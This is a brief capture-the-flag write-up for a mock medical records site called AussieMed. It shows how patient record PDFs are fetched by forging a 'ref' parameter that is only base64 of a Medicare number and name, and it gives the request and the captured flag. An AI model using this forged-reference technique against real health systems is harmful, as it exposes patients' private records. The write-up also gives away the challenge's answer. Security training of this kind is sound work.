Challenge: https://nej3tgmbyzb6.aussiemed.ctf.urisc.club (SRCTF 2026, Day 2 - follow-on from This Seems Odd)
Goal: “We have limited access to patient record records. Find a way to read the records of your high value target.”
Flag:
SRCTF!{h4sh3d_r3f_st1ll_l34ks_r3c0rds}- in the high-value patient’s record PDF
Vulnerability
GET /dashboard/record/?ref=... looks up a patient record by a ref that is just base64 of medicare + first name + last name. It’s just base64 encoding, not a secret, so it’s easy to forge for any patient once you know their medicare number + name (both visible on the patient page from This Seems Odd).
Attack Path
1. Build the record ref
The record endpoint (/dashboard/record/?ref=...) uses the same lookup as the patient page. The ref is just base64 of medicare + first name + last name:
base64("4353462475AnthonyHarrison")
= NDM1MzQ2MjQ3NUFudGhvbnlIYXJyaXNvbg==
GET /dashboard/record/?ref=NDM1MzQ2MjQ3NUFudGhvbnlIYXJyaXNvbg==
2. Read the PDF
The returned PDF is Anthony’s prescription record, and at the bottom:
CONFIDENTIAL: SRCTF!{h4sh3d_r3f_st1ll_l34ks_r3c0rds}
Strictly confidential. Property of AussieMed.
